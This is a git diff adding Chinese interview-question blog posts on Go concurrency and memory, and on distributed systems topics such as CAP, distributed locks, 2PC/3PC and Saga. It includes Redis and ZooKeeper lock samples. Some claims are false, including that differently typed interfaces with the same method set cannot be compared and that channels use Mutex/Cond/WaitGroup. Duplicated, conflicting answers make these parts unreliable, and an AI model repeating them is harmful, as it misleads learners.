+ val := <-ch // 这里尝试从 ch 读取数据,但是没有任何 Goroutine 在向 ch 写数据,所以这个 Goroutine 会被永久阻塞 + fmt.Println(val) + }() + // 此处应该有向 ch 写数据的操作,如 ch <- 1,否则上面的 Goroutine 会被永久阻塞 + } + ``` + +为了避免这种情况,应该确保通道在不再需要时被关闭,并且在发送和接收数据时正确地使用 select 和 default 语句,以便在无法立即进行发送或接收操作时不会阻塞 Goroutine。同时,对于闭包,如果不再需要捕获的外部变量,应该将它们设置为 nil,这样它们就可以被垃圾回收了。 + + + +**问题23:** Go的内存逃逸 + +在 Go 语言中,内存逃逸是一个复杂的话题。简单地说,当一个对象的生命周期不仅限于它被创建的函数,也即该对象必须在堆上分配内存,而不是在栈上,我们就说这个对象“逃逸”了。 + +在 Go 中,编译器决定应该在哪里分配内存 - 栈还是堆。对于只在局部函数中使用并且生命周期不超过该函数的对象,通常会在栈上分配。这是因为栈内存可以在函数返回后被立即回收。然而,如果对象需要在函数外部访问或者函数返回后仍然需要存在,那么就必须在堆上分配,因为它的生命周期超出了栈的生命周期。 + +内存逃逸的一些常见情况包括: + +- 返回局部变量的地址:这就意味着返回后,该变量需要在堆上分配,而不能在栈上分配。 +```go +func newInt() *int { + i := 3 + return &i +} +``` + +- 将局部变量保存到全局变量中:这样局部变量就不能在函数返回后被回收,因此它需要在堆上分配。 +```go +var global *int + +func f() { + i := 3 + global = &i +} +``` + +- 在 Goroutine 中使用局部变量:由于新启动的 Goroutine 可能在函数返回后仍然在运行,因此它使用的任何变量都不能在函数返回时被回收。 + + +要分析 Go 代码中的内存逃逸,可以使用 Go 的编译器标志 `go build -gcflags '-m'` + + +**问题21:** Go的接口可以比较吗 +在 Go 中,接口类型的值可以被比较。接口值比较的结果是基于它们的动态类型和动态值。具体地说,如果两个接口值的动态类型相同,并且它们的动态值也相等,那么这两个接口值就是相等的。 + +接口值之间的比较并不关心这两个接口是否实现了相同的方法集。而是基于它们的动态类型和动态值来进行的。因此,即使两个接口实现了相同的方法集,也并不意味着可以直接比较它们。 + +以下是一些例子: + +```go +type I1 interface { + M() +} + +type I2 interface { + M() +} + +type T struct{} + +func (T) M() {} + +func main() { + var i1 I1 = T{} + var i2 I2 = T{} + + fmt.Println(i1 == i2) // 这会产生编译错误,即使 I1 和 I2 具有相同的方法集 +} +``` + +但是,如果有两个相同类型的接口,可以比较它们: + +```go +type I interface { + M() +} + +type T struct{} + +func (T) M() {} + +func main() { + var i1 I = T{} + var i2 I = T{} + + fmt.Println(i1 == i2) // 输出:true +} +``` + +需要注意的是,如果接口的动态类型是不可比较的(如切片或映射), +对于那些不可比较的类型(如切片或映射),如果尝试将其作为接口的动态值并比较,将会导致运行时错误(panic)。 + +例如: + +```go +type I interface{} + +func main() { + var i1 I = []int{1, 2, 3} + var i2 I = []int{1, 2, 3} + + fmt.Println(i1 == i2) // 这会引发恐慌,因为切片类型是不可比较的 +} +``` +在这个例子中,尽管看起来 `i1` 和 `i2` 包含的切片在逻辑上是相等的,但是不能比较它们,因为 Go 语言中的切片类型是不可直接比较的。如果尝试运行这段代码,将会得到一个运行时错误,类似于:`panic: runtime error: comparing uncomparable type []int`。 + + + +**问题22:** Go的指针 + +在 Go 语言中,指针是一个重要的概念。一个指针保存了一个值的内存地址。 + +指针的类型是 `*T`,其中 `T` 是它指向的值的类型。指针的零值是 `nil`。 + +在 Go 中,可以通过 `&` 符号获取一个变量的内存地址,即指向该变量的指针。也可以通过 `*` 符号获取指针指向的原始变量。 + +下面是一个基础的例子: + +```go +package main + +import "fmt" + +func main() { + i := 42 + p := &i + fmt.Println(p) // 输出:内存地址,例如 0x40c138 + fmt.Println(*p) // 输出:42,获取指针指向的值 +} +``` + +在这个例子中,`p` 是一个指向 `int` 类型值的指针,它存储了变量 `i` 的内存地址。 + +还可以通过指针来修改它所指向的值: + +```go +package main + +import "fmt" + +func main() { + i := 42 + p := &i + *p = 21 + fmt.Println(i) // 输出:21,因为 i 的值被通过指针 p 修改了 +} +``` + +需要注意的是,在 Go 中所有的数据操作都是明确的,Go 不支持像 C 语言那样的指针算术运算。 + +最后,函数参数在 Go 中默认是通过值传递的。也就是说,如果把一个变量传递给一个函数,这个函数会得到这个变量的一个副本。 + + +**问题23:** Go中间的Defer和 Return 谁先返回? +在 Go 中,`defer` 语句用于注册延迟调用。这些调用直到包含 `defer` 语句的函数执行完毕才会被执行,无论该函数以 `return` 结束,还是由于错误导致的 panic。 + +特别地,`defer` 语句的参数会立即被求值(但函数会延迟执行)。所以,即使 defer 语句在代码中出现在 return 之前,它也会在函数返回后才执行。这也意味着在函数返回后修改返回值的操作必须在 `defer` 函数中完成。 + +下面是一个简单的示例: + +```go +package main + +import "fmt" + +func main() { + fmt.Println(f()) +} + +func f() (result int) { + defer func() { + // 修改返回值 + result++ + }() + return 0 // 实际返回的值为 1 而不是 0 +} +``` + +在这个例子中,虽然函数 `f` 中的 `return` 语句在 `defer` 语句之前,但 `defer` 语句中的函数会在 `f` 返回后执行,修改了返回值 `result`。因此,当调用 `f()` 时,实际返回的值是 `1` 而不是 `0`。 + + +**问题24**:什么是 Channel? + +Channel 是 Go 中的一种并发原语,用于在 Goroutine 之间传递数据。 + +**问题25**:Channel 可以用来做什么? + +Channel 可以用来同步 Goroutine,用于避免竞态条件;也可以用来在 Goroutine 之间传递数据,实现数据共享。 + + +**问题26**:Channel 的阻塞和非阻塞发送和接收有什么区别?? + +阻塞发送和接收是指在 Channel 满或空时,Goroutine 会被阻塞,直到 Channel 可以发送或接收数据;非阻塞发送和接收是指在 Channel 满或空时,Goroutine 不会被阻塞,而是立即返回一个错误或者默认值。可以使用 select 语句来实现非阻塞发送和接收,例如: +```go +select { +case <-ch: + // 接收到数据 +default: + // Channel 是空的 +} + +select { +case ch <- data: + // 发送成功 +default: + // Channel 是满的 +} +``` + +这是一系列关于 Go 中 Channel 的深入问题。让我们来逐一解答: + +1. **问题:Channel 的实现原理是什么?** + + 答案:Channel 在 Go 的运行时环境中是通过一种叫做 hchan 的数据结构来实现的。这个数据结构包含了一个用于存储数据的环形队列和一些维护状态的字段。Channel 的发送和接收操作实质上是对这个环形队列的操作。当队列为空时,接收操作会被阻塞,而当队列已满时,发送操作会被阻塞。 + +2. **问题:Channel 内部是如何实现同步的?** + + 答案:Channel 内部使用了一种称为条件同步的方式来实现同步。当进行发送操作但队列已满,或进行接收操作但队列为空时,Goroutine 会被阻塞并加入到相应的等待队列(发送队列或接收队列)中。当另一方完成操作(接收操作或发送操作)并唤醒等待的 Goroutine 时,同步就完成了。 + +3. **问题:Channel 的发送和接收操作是如何实现的?** + + 答案:发送和接收操作都是通过对 Channel 内部环形队列的操作来完成的。在发送操作中,如果接收队列中有等待的 Goroutine,就直接将数据发送给这些 Goroutine,否则就将数据放入环形队列中。接收操作的情况类似:如果发送队列中有等待的 Goroutine,就直接从这些 Goroutine 中接收数据,否则就从环形队 + +**问题27**:Channel 的实现原理是什么? + +通过一种叫做 hchan 的数据结构来实现的,Channel 的实现原理是通过一个有缓存的数据结构和 Goroutine 之间的同步原语来实现的。Channel 内部维护一个循环队列,用于存储数据;同时还维护了两个指针,用于标记数据的读写位置。Goroutine 通过 Channel 的发送和接收操作来向 Channel 中存储和读取数据,从而实现了数据的同步和共享。 + + +**问题27**:Channel 内部是如何实现同步的? + +Channel 内部是通过 Mutex、Cond 和 WaitGroup 等同步原语来实现同步的。当 Goroutine 向 Channel 中发送数据时,Channel 会加锁,然后将数据存储到循环队列中,最后解锁 Channel。当 Goroutine 从 Channel 中接收数据时,Channel 会加锁,然后从循环队列中获取数据,最后解锁 Channel。通过这种方式,Channel 可以实现多个 Goroutine 之间的同步和共享。 + +**问题28**:Channel 的发送和接收操作是如何实现的? + +答案:发送和接收操作都是通过对 Channel 内部环形队列的操作来完成的。在发送操作中,如果接收队列中有等待的 Goroutine,就直接将数据发送给这些 Goroutine,否则就将数据放入环形队列中。接收操作的情况类似:如果发送队列中有等待的 Goroutine,就直接从这些 Goroutine 中接收数据,否则就从环形队取出数据。 + +**问题29**:Channel 可以用来实现什么样的并发模式? + +Channel 可以用来实现多种并发模式,例如生产者-消费者模式、工作池模式、扇入和扇出模式等。通过 Channel,可以实现多个 Goroutine 之间的协作和通信,从而提高程序的并发性能和可维护性。 + +生产者-消费者模式 +生产者-消费者模式是一种常见的并发模式,用于解耦生产者和消费者之间的关系。在这个模式中,生产者负责生产数据,而消费者负责消费数据。通过使用 Channel,可以将生产者和消费者解耦,并且实现数据的同步和共享。 + +下面是一个使用 Channel 实现生产者-消费者模式的例子: +```go +package main + +import ( + "fmt" + "time" +) + +func producer(ch chan<- int) { + for i := 0; i < 10; i++ { + ch <- i + time.Sleep(time.Second) + } + close(ch) +} + +func consumer(ch <-chan int) { + for v := range ch { + fmt.Println("consumed", v) + } +} + +func main() { + ch := make(chan int) + go producer(ch) + consumer(ch) +} +``` + +工作池模式 +工作池模式是一种常见的并发模式,用于实现任务的并发执行。在这个模式中,工作池负责管理一组 Goroutine,并且维护一个任务队列。当有新的任务到来时,工作池会将任务添加到任务队列中,然后由空闲的 Goroutine 执行任务。通过使用 Channel,可以实现任务的分发和同步,并且有效地利用系统资源。 +```go +package main + +import ( + "fmt" + "time" +) + +type Task struct { + ID int + Detail string +} + +func worker(id int, tasks <-chan Task, results chan<- string) { + for task := range tasks { + fmt.Printf("worker %d started task %d\n", id, task.ID) + time.Sleep(time.Second) + results <- fmt.Sprintf("task %d done by worker %d", task.ID, id) + } +} + +func main() { + tasks := make(chan Task, 10) + results := make(chan string, 10) + + for i := 0; i < 3; i++ { + go worker(i, tasks, results) + } + + for i := 0; i < 10; i++ { + tasks <- Task{ID: i, Detail: fmt.Sprintf("task %d", i)} + } + close(tasks) + + for i := 0; i < 10; i++ { + fmt.Println(<-results) + } +} +``` + +**问题30**:Channel 和 Mutex/WaitGroup 的区别是什么? + +Channel 和 Mutex/WaitGroup 的区别在于,Channel 是一种数据结构,用于实现 Goroutine 之间的通信和同步;而 Mutex/WaitGroup 是一种同步原语,用于实现 Goroutine 的互斥和等待。Channel 可以用于实现多个 Goroutine 之间的协作和通信,而 Mutex/WaitGroup 可以用于实现单个 Goroutine 的互斥和等待。在实际开发中,可以根据具体的需求选择合适的同步原语来实现并发控制。 + + + +**问题31**:如何判断一个 Channel 是否已经关闭? +```go +v, ok := <-ch +if !ok { + // Channel 已经关闭 +} +``` +如果 Channel 已经关闭,ok 的值为 false,否则为 true。同样地,在向一个 Channel 写入数据时,也可以使用 close 函数来关闭 Channel。 + + +**问题32**:如何避免 Channel 的死锁? + +避免 Channel 的死锁可以采用以下几种方法: + +使用 select 语句并设置超时时间,避免在读取或写入 Channel 时被阻塞。 +在向一个 Channel 中写入数据时,先判断 Channel 是否已经关闭,避免写入数据后无法从 Channel 中读取数据而导致死锁。 +使用带缓冲的 Channel,避免写入数据时被阻塞。 +在使用多个 Channel 时,使用 Goroutine 来管理 Channel 之间的同步和通信,避免死锁的发生。 + diff --git a/_posts/2023-9-8-test-markdown.md b/_posts/2023-9-8-test-markdown.md new file mode 100644 index 000000000000..a2003975975f --- /dev/null +++ b/_posts/2023-9-8-test-markdown.md @@ -0,0 +1,544 @@ +--- +layout: post +title: 分布式面试题 +subtitle: +tags: [分布式] +comments: true +--- + +**问题1**:什么是CAP原则? + +**答案**:CAP原则又称CAP定理,指的是在一个分布式系统中,Consistency(一致性)、 Availability(可用性)、Partition tolerance(分区容错性)这3个基本需求,最多只能同时满足其中的2个。分区是必然存在的,所谓分区指的是分布式系统可能出现的字区域网络不通,成为孤立区域的的情况。 + +在满足一致性 的时候,N1和N2的数据要求值一样的,D1=D2。 +在满足可用性的时候,无论访问N1还是N2,都能获取及时的响应。 + + +**问题2**:请描述一下分布式系统中的一致性和最终一致性有什么区别? +**答案**:在分布式系统中,一致性指的是所有节点在同一时间看到的数据是一样的,这也就意味着**任何写入的新值将会立即被所有节点看到**。最终一致性则是指,在没有新的更新操作时,经过**一段时间后**,所有的读操作最终都能返回最后更新的值。 + +**问题3**:什么是分布式系统中的分区容错? +**答案**:分区容错指的是在分布式系统中,即使系统网络发生分区(网络连接中断),系统仍然能够正常运行。系统需要能够处理网络分区导致的节点间通信问题,以确保系统的持续运行。 + +**问题4**:请解释一下分布式哈希表(Distributed Hash Table,DHT) + +分布式哈希表(Distributed Hash Table,简称DHT)是一种分布式系统,它**提供了类似于哈希表的服务**,能够将键(Key)映射到值(Value)。不同于常规的哈希表将所有数据存储在单一节点上,DHT将**数据分散存储在网络中的多个节点**上。每个节点负责存储一部分哈希表的数据。 + +DHT的设计目标主要是**为了让网络可以自我组织和自我修复**,从而对**节点的加入、离开以及故障**具有良好的适应性。在这种网络中,任何一个节点都可以独立地查询某个键值对,并且可以在网络的任意变化(例如,节点离线或新节点加入)下继续正确高效地工作。 + +**节点的加入**:当一个新节点加入DHT时,它需要找到一个已经在网络中的节点作为引导节点(bootstrap node)。新节点会将自己的信息(如ID和IP地址)发送给引导节点。引导节点会根据新节点的ID,将一部分键值对的管理权转移给新节点。同时,新节点会被添加到其他节点的路由表中,使得其他节点可以找到并与新节点通信。 + +**节点的离开**:当一个节点准备离开DHT时,它需要将自己负责的键值对转移给其他节点。通常,这些键值对会被转移给离开节点在**哈希空间中的下一个节点**。同时,离开节点需要从**其他节点的路由表中删除自己**,以防止其他节点尝试与已离开的节点通信。 + +**节点的故障**:当一个节点发生故障并且不能正常工作时,DHT需要检测到这个问题并进行修复。一种常见的方法是通过**周期性的心跳消息来检测节点的状态**。如果一个节点在一段时间内没有响应心跳消息,那么其他节点会认为这个节点已经发生故障。故障节点负责的键值对会被转移给其他节点,同时故障节点会被从其他节点的路由表中删除。 + + +**问题5:BASE理论了解吗?** + +**答案**:BASE(Basically Available、Soft state、Eventual consistency)是基于CAP理论逐步演化而来的,核心思想是即便不能达到强一致性(Strong consistency),也可以根据应用特点采用适当的方式来达到最终一致性(Eventual consistency)的效果。 +Basically Available:出现了不可预知的故障,但还是能用,但是可能会有响应时间上的损失,或者功能上的降级。 +Soft State(软状态):允许系统在多个不同节点的**数据副本存在数据延时**。 +Eventually Consistent(最终一致性):最终所有副本保持数据一致性。 + + +**问题6:什么是分布式锁?** + +**答案**:分布式锁来保证任何时刻只有一个节点可以获取到锁,进而独占资源。 + +**问题7:有哪些分布式锁的实现方案呢?** + +**答案**:分布式锁来保证任何时刻只有一个节点可以获取到锁,进而独占资源。 + + +分布式锁的实现方案主要有以下几种: + +**基于数据库的分布式锁**:利用数据库的原子性操作来实现。例如,在MySQL中,我们可以通过**创建一个唯一索引字段**,加锁的时候,在锁表中增加一条记录即可,由于唯一索引的限制,任何时候只能插入成功一条记录,从而达到锁的效果。释放锁的时候删除记录就行。但是,这种方法可能会对数据库造成较大压力。因此这种方式在高并发、高性能的场景中用的不多。 + +> **并发量较小**:如果系统的并发量相对较小,数据库的压力可以接受,那么可以使用基于数据库的分布式锁。因为这种方式实现起来相对简单,不需要额外的依赖和组件。 + +> **业务逻辑简单**:如果业务逻辑相对简单,不需要复杂的锁操作,比如公平性、可重入性等,那么基于数据库的分布式锁可以满足需求。 + +> **对数据一致性要求较高**:如果对数据一致性要求较高,比如涉及到重要的交易操作等,可以使用基于数据库的分布式锁,因为数据库的ACID特性能保证数据的一致性。 + +> **系统已经依赖特定数据库**:如果系统已经严重依赖某种数据库,那么在不引入新的组件的情况下,使用数据库实现分布式锁可能是一种选择。 + + +**基于缓存的分布式锁**:例如Redis。Redis提供了一些原子操作命令,如SETNX(Set if Not eXists),可以用来实现分布式锁。Redis的优点是性能高,操作简单。但是,这种方式的锁并不是严格的分布式锁,因为在某些情况下可能会出现锁失效的情况。 + +> Redis可以用于实现分布式锁,通常使用`SETNX`(如果不存在,则设置)和`EXPIRE`(设置键的过期时间)这两个命令来实现。以下是基本步骤: + +完整的Redis分布式锁的实现过程如下: + +> **锁的获取**:首先,客户端使用`SETNX`命令尝试设置一个锁。`SETNX`会尝试设置一个键,如果键不存在,那么设置成功并返回1,如果键已经存在,那么设置失败并返回0。客户端可以通过这个返回值来判断是否获取锁成功。 +```text +setNx resourceName value +``` + +> **设置过期时间**:如果客户端成功获取到了锁,那么它应该立刻使用`EXPIRE`命令为这个锁设置一个过期时间。这是为了避免死锁:如果持锁的客户端崩溃,导致它无法正常释放锁,那么这个锁将会因为过期时间到达而自动被删除。 +```text +set resourceName value ex 5 nx +``` +> **执行业务操作**:在获取到锁之后,客户端可以安全地执行需要同步的业务操作。 + +> **锁的释放**:当客户端不再需要锁的时候,它可以使用`DEL`命令来删除这个锁。 + +> 需要注意的是,为了保证整个过程的安全性,应该在同一客户端中执行上述所有操作。因为Redis是基于单线程模型的,所以在同一个连接中的操作都是顺序执行的,这样可以避免多个客户端同时获取到锁。此外,还应该对可能的异常情况进行处理,比如在执行业务操作的过程中可能出现的异常,以及客户端与Redis的连接中断等问题。 + +> Redis 做分布式锁 ,一般生产中都是使用Redission客户端,非常良好地封装了分布式锁的api,而且支持RedLock + +```go +package main + +import ( + "fmt" + "time" + + "github.com/go-redis/redis" +) + +type Redisson struct { + client *redis.Client +} + +func NewRedisson(addr string, password string, db int) *Redisson { + client := redis.NewClient(&redis.Options{ + Addr: addr, + Password: password, + DB: db, + }) + + return &Redisson{client: client} +} + +// 分布式锁 +func (r *Redisson) Lock(key string, expiration time.Duration) (bool, error) { + return r.client.SetNX(key, 1, expiration).Result() +} + +func (r *Redisson) Unlock(key string) error { + return r.client.Del(key).Err() +} + +// 分布式计数器 +func (r *Redisson) Increment(key string) (int64, error) { + return r.client.Incr(key).Result() +} + +func (r *Redisson) Decrement(key string) (int64, error) { + return r.client.Decr(key).Result() +} + +func main() { + redisson := NewRedisson("localhost:6379", "", 0) + + // 使用分布式锁 + ok, err := redisson.Lock("mylock", time.Second*10) + if err != nil { + fmt.Println("Error locking:", err) + return + } + if !ok { + fmt.Println("Could not acquire lock") + return + } + + fmt.Println("Acquired lock") + + err = redisson.Unlock("mylock") + if err != nil { + fmt.Println("Error unlocking:", err) + return + } + + fmt.Println("Released lock") + + // 使用分布式计数器 + count, err := redisson.Increment("mycounter") + if err != nil { + fmt.Println("Error incrementing:", err) + return + } + + fmt.Println("Counter value:", count) +} + +``` + +```java +import org.redisson.Redisson; +import org.redisson.api.RLock; +import org.redisson.api.RAtomicLong; +import org.redisson.config.Config; + +public class RedissonExample { + + public static void main(String[] args) throws InterruptedException { + // 创建配置 + Config config = new Config(); + config.useSingleServer().setAddress("redis://127.0.0.1:6379"); + + // 创建Redisson客户端 + RedissonClient redisson = Redisson.create(config); + + // 使用分布式锁 + RLock lock = redisson.getLock("mylock"); + lock.lock(); + try { + // 在这里处理的业务逻辑 + } finally { + lock.unlock(); + } + + // 使用分布式计数器 + RAtomicLong counter = redisson.getAtomicLong("mycounter"); + counter.incrementAndGet(); + System.out.println("Counter value: " + counter.get()); + + // 关闭Redisson客户端 + redisson.shutdown(); + } +} + +``` + +**基于Zookeeper的分布式锁**:Zookeeper是一个开源的分布式协调服务,它提供了一种名为"顺序临时节点"的机制,可以用来实现分布式锁。Zookeeper的这种机制可以保证锁的安全性和效率,因此被广泛用于分布式锁的实现。 + +ZooKeeper的分布式锁实现主要利用了其**临时顺序节点**(Ephemeral Sequential Nodes)的特性。以下是一个基本的实现过程: + +> **锁的创建**:当一个客户端(即节点)试图获取一个锁时,它会在预定义的ZNode(这个ZNode可以被视作是锁,或者说以某个资源为目录)下创建一个临时顺序ZNode。Zookeeper保证所有创建临时顺序ZNode的请求都会被顺序地处理,每个新的ZNode的名称都会附加一个自动增长的数字。 + +> **锁的获取**:在创建临时顺序ZNode之后,客户端获取预定义ZNode下所有子节点的列表,然后检查自己创建的临时ZNode的序号是否是最小的。如果是最小的,那么客户端就认为它已经成功获取了锁。如果不是最小的,那么客户端就会找到序号比它小的那个ZNode,然后在其上设置监听(Watcher),这样当那个ZNode被删除的时候,客户端会得到通知。 + +> **锁的释放**:一旦完成了对共享资源的访问,客户端会删除它创建的那个临时ZNode,以释放锁。这时候,Zookeeper会通知监听该ZNode的其他客户端,告诉它们ZNode已经被删除。 + +> **故障处理**:如果持锁的客户端出现故障或与Zookeeper的连接中断,它创建的临时ZNode会被Zookeeper自动删除,从而使锁被释放。这是因为ZooKeeper中的临时节点(Ephemeral Nodes)的特性决定的。在ZooKeeper中,临时节点的生命周期与创建它们的会话(Session)绑定在一起。也就是说,如果创建临时节点的会话结束(无论是正常结束还是因为超时或其他原因被终止),那么这个临时节点会被ZooKeeper自动删除。 + +> 当我们使用临时节点来实现分布式锁的时候,如果持锁的客户端出现故障或与ZooKeeper的连接中断,它的会话将会被ZooKeeper结束。这时,该客户端创建的临时节点(代表锁)会被自动删除,从而实现了锁的自动释放。这样,其他等待获取锁的客户端就可以尝试获取锁,进而确保了系统的正常运行。 + +```go +package main + +import ( + "fmt" + "time" + + "github.com/go-zookeeper/zk" +) + +type ZkLock struct { + conn *zk.Conn + path string +} + +func NewZkLock(conn *zk.Conn, path string) *ZkLock { + return &ZkLock{conn: conn, path: path} +} + +func (zl *ZkLock) Lock() (bool, error) { + _, err := zl.conn.Create(zl.path, []byte{}, zk.FlagEphemeral, zk.WorldACL(zk.PermAll)) + if err == zk.ErrNodeExists { + return false, nil + } + if err != nil { + return false, err + } + return true, nil +} + +func (zl *ZkLock) Unlock() error { + return zl.conn.Delete(zl.path, -1) +} + +func main() { + conn, _, err := zk.Connect([]string{"localhost"}, time.Second) + if err != nil { + panic(err) + } + + lock := NewZkLock(conn, "/mylock") + + ok, err := lock.Lock() + if err != nil { + fmt.Println("Error locking:", err) + return + } + if !ok { + fmt.Println("Could not acquire lock") + return + } + + fmt.Println("Acquired lock") + + err = lock.Unlock() + if err != nil { + fmt.Println("Error unlocking:", err) + return + } + + fmt.Println("Released lock") +} + +``` + +**基于Chubby或Google Cloud Storage的分布式锁**:这是Google提供的两种分布式锁服务。Chubby是一个小型的分布式锁服务,Google Cloud Storage则提供了一种基于云存储的分布式锁机制。 + + +**问题8:请解释一致性哈希(Consistent Hashing)**。 +答案:一致性哈希是一种特殊的哈希技术,它在数据项和节点之间建立了一种映射,使得当节点数量发生变化时,只需要重新定位k/n的数据项,其中k是数据项的总数,n是节点的总数。这种技术在分布式系统中广泛用于数据分片和负载均衡。 + +**问题9:请解释分布式锁以及其用途**。 +答案:分布式锁是一种在分布式系统中实现互斥访问的机制。它可以用来保护在多个节点上**共享的资源或者服务**,以防止同时**访问**或者**修改**。分布式锁可以用于实现各种分布式协调任务,如领导者选举、序列生成、数据一致性检查等。 + +领导者选举:在分布式系统中,领导者选举是一种常见的模式,用于选出一个节点作为领导者,来协调其他节点的工作。使用分布式锁进行领导者选举的基本步骤如下: + +所有节点尝试获取锁,只有一个节点能成功获取。获取锁的节点成为领导者,负责协调其他节点的工作。如果领导者节点崩溃,锁会被释放,其他节点再次尝试获取锁,新的领导者被选出。 + +序列生成:在分布式系统中,我们经常需要生成全局唯一的序列号,例如订单号、用户ID等。使用分布式锁可以保证序列号的唯一性和连续性。基本步骤如下: + +当一个节点需要生成一个新的序列号时,它首先尝试获取锁。如果获取锁成功,它读取当前的序列号,然后将序列号加一,并将新的序列号写回存储系统。最后,它释放锁,其他节点可以获取锁来生成新的序列号。 + +数据一致性检查:在分布式系统中,数据一致性是一个重要的问题。我们可以使用分布式锁来保证数据的一致性。基本步骤如下: + +当一个节点需要更新数据时,它首先尝试获取锁。如果获取锁成功,它读取当前的数据,然后进行更新操作,并将新的数据写回存储系统。在数据更新期间,其他节点不能获取锁,因此不能同时更新数据,这保证了数据的一致性。 +最后,它释放锁,其他节点可以获取锁来更新数据。 + + +**问题10:请解释什么是分布式事务,以及两阶段提交(2PC)和三阶段提交(3PC)。** + +答案:分布式事务是一种在多个节点上同时执行的事务,它需要保证事务的原子性,即事务要么在所有节点上都成功执行,要么在所有节点上都不执行。两阶段提交是一种实现分布式事务的协议,它包括准备阶段和提交阶段。三阶段提交是两阶段提交的改进,它增加了一个预提交阶段,以减少阻塞和提高性能。 + +二阶段提交(Two-phase commit,2PC)是一种用于保证分布式系统事务一致性的协议。二阶段提交假设参与事务的所有节点都是可靠的。这种协议包含两个阶段:准备阶段和提交阶段。 + +在两阶段提交协议中,会有一个节点被选为协调器(coordinator),其余的节点被称为参与者(participant)。以下是二阶段提交的流程: + +阶段1:准备阶段(Prepare Phase) +1. 协调器向所有参与者发送预提交请求(prepare),要求参与者准备好提交事务。 +2. 参与者接收到预提交请求后,如果可以执行事务,则将操作写入到undo和redo日志中,然后返回给协调器ACK确认消息;如果不能执行事务,则直接返回给协调器NACK拒绝消息。 + +阶段2:提交阶段(Commit Phase) +1. 如果协调器从所有的参与者那里都收到了ACK消息,那么它就会向所有参与者发送提交请求(commit);否则,它会向所有参与者发送回滚请求(rollback)。 +2. 参与者接收到提交请求后,就会根据redo日志来提交事务,并向协调器发送完成消息;参与者接收到回滚请求后,就会根据undo日志来回滚事务,并向协调器发送完成消息。 +3. 协调器收到所有参与者的完成消息后,就会结束事务。 + + +> 3PC 解决2PC在协调者失败时可能导致的阻塞问题 + +阶段1:准备阶段(CanCommit Phase) + +1.协调器向所有参与者发送CanCommit请求,询问它们是否可以执行事务提交操作。 +2.参与者接收到CanCommit请求后,如果可以执行事务提交操作,则返回Yes响应,并进入预提交状态,等待协调器的下一步指示;如果不能执行事务提交操作,则返回No响应。 + + +阶段2:预提交阶段(PreCommit Phase) + +1.如果协调器从所有参与者那里都收到了Yes响应,那么它就会向所有参与者发送PreCommit请求,让它们开始执行事务提交操作;否则,它会向所有参与者发送Abort请求,让它们中止事务。 +2.参与者接收到PreCommit请求后,就会开始执行事务提交操作,然后返回Ack响应;参与者接收到Abort请求后,就会中止事务,并返回Ack响应。当参与者接收到PreCommit请求后,它们会开始执行事务提交操作,这通常包括写入redo log和undo log。 + +> Redo log用于记录事务的所有修改操作,如果事务在提交过程中出现问题,可以通过redo log来重做(redo)事务,以确保事务的完整性。 + +> Undo log用于记录事务执行前的数据状态,如果事务需要被回滚,可以通过undo log来撤销(undo)事务的修改,以恢复数据的原始状态。 + + +阶段3:提交阶段(DoCommit Phase) + +1.协调器收到所有参与者的Ack响应后,就会向所有参与者发送DoCommit请求,让它们完成事务提交操作。 +2.参与者接收到DoCommit请求后,就会完成事务提交操作,并向协调器返回Done响应。 +3.协调器收到所有参与者的Done响应后,就会结束事务。 + + +**问题11:请解释什么是分布式共识,以及Paxos和Raft算法** + +答案:分布式共识是一种在分布式系统中达成一致决定的过程。Paxos和Raft都是实现分布式共识的算法。Paxos算法的核心思想是通过多数派的决定来达成共识,但它的理解和实现都相对复杂。Raft算法是为了解决Paxos算法的复杂性而设计的,它提供了一种更简单和更容易理解的方式来实现分布式共识。 + + +**问题12:请解释什么是分布式事务以及其挑战?** + +答案:分布式事务是跨多个独立的节点或系统进行的事务。它需要保证事务的ACID属性(原子性,一致性,隔离性,持久性)。分布式事务的挑战主要在于网络延迟、节点故障和数据一致性。例如,如何在网络分区或节点故障的情况下保持数据的一致性是一个重要的问题。 + +在实际的业务场景中,实现分布式事务的方法主要有以下几种: + +两阶段提交(2PC):这是一种经典的分布式事务协议。在两阶段提交中,有一个协调者负责协调所有的参与者。在第一阶段,协调者询问所有的参与者是否准备好提交事务;在第二阶段,如果所有的参与者都准备好了,那么协调者就会通知所有的参与者提交事务,否则就会通知所有的参与者回滚事务。两阶段提交可以保证分布式事务的一致性,但是它有一个缺点,那就是在协调者失败的情况下,参与者可能会被阻塞。 + +三阶段提交(3PC):这是对两阶段提交的改进。三阶段提交引入了超时机制和预提交阶段,以解决两阶段提交在协调者失败时可能导致的阻塞问题。 + +基于时间戳的协议:在这种协议中,每个事务都有一个唯一的时间戳。事务的执行顺序是根据它们的时间戳来决定的。基于时间戳的协议可以避免死锁,但是它需要全局的时间戳服务,而且在高并发的情况下可能会有性能问题。 + +基于日志的协议:在这种协议中,所有的事务操作都会被记录在日志中。如果事务失败,可以通过回放日志来恢复数据。基于日志的协议可以提供高性能和高可用性,但是它需要复杂的日志管理和垃圾回收机制。 + +Saga模式:Saga模式是一种长活动事务模式,它将一个**分布式事务拆分为一系列的本地事务**,每个**本地事务都有一个对应的补偿事务**。如果一个本地事务失败,Saga会执行所有已经执行的本地事务的补偿事务,以此来保证数据的一致性。Saga模式适用于长活动事务,但是它需要应用程序提供补偿事务。 + +> Saga模式将一个分布式事务拆分为两个本地事务。首先,Saga启动第一个本地事务。如果第一个本地事务成功,Saga则启动第二个本地事务。 + +> 如果第二个本地事务失败,Saga会执行第一个本地事务的补偿事务,以此来保证数据的一致性。这样,即使在分布式环境中,我们也可以保证事务的原子性。 + +最终一致性:在某些场景下,我们可以接受数据在短时间内的不一致,只要数据最终能够达到一致的状态。这种方法通常用于性能要求高,但一致性要求相对较低的场景,如电子商务的购物车功能。 + + +**问题13:请解释什么是幂等性,以及在分布式系统中为什么它是重要的?** + +答案:幂等性是指一个操作可以被多次执行,而结果仍然保持一致。在分布式系统中,由于网络延迟、重试机制等原因,同一个操作可能会被多次执行。如果这个操作是幂等的,那么即使它被多次执行,系统的状态也不会改变,这对于保持系统的一致性非常重要。比如说,按电梯的按钮。无论按一次还是多次,电梯都会到达想去的楼层。这个操作就是幂等的,因为无论执行多少次,结果都是一样的。 + +> 在计算机科学中,幂等性通常用于网络和分布式系统。例如,假设正在在线购物平台购买一本书。点击“购买”按钮,但由于网络延迟,没有立即收到确认信息,于是又点击了一次。如果购买操作是幂等的,那么无论点击多少次“购买”按钮,都只会购买一本书。如果购买操作不是幂等的,那么可能会购买多本相同的书。 + +> 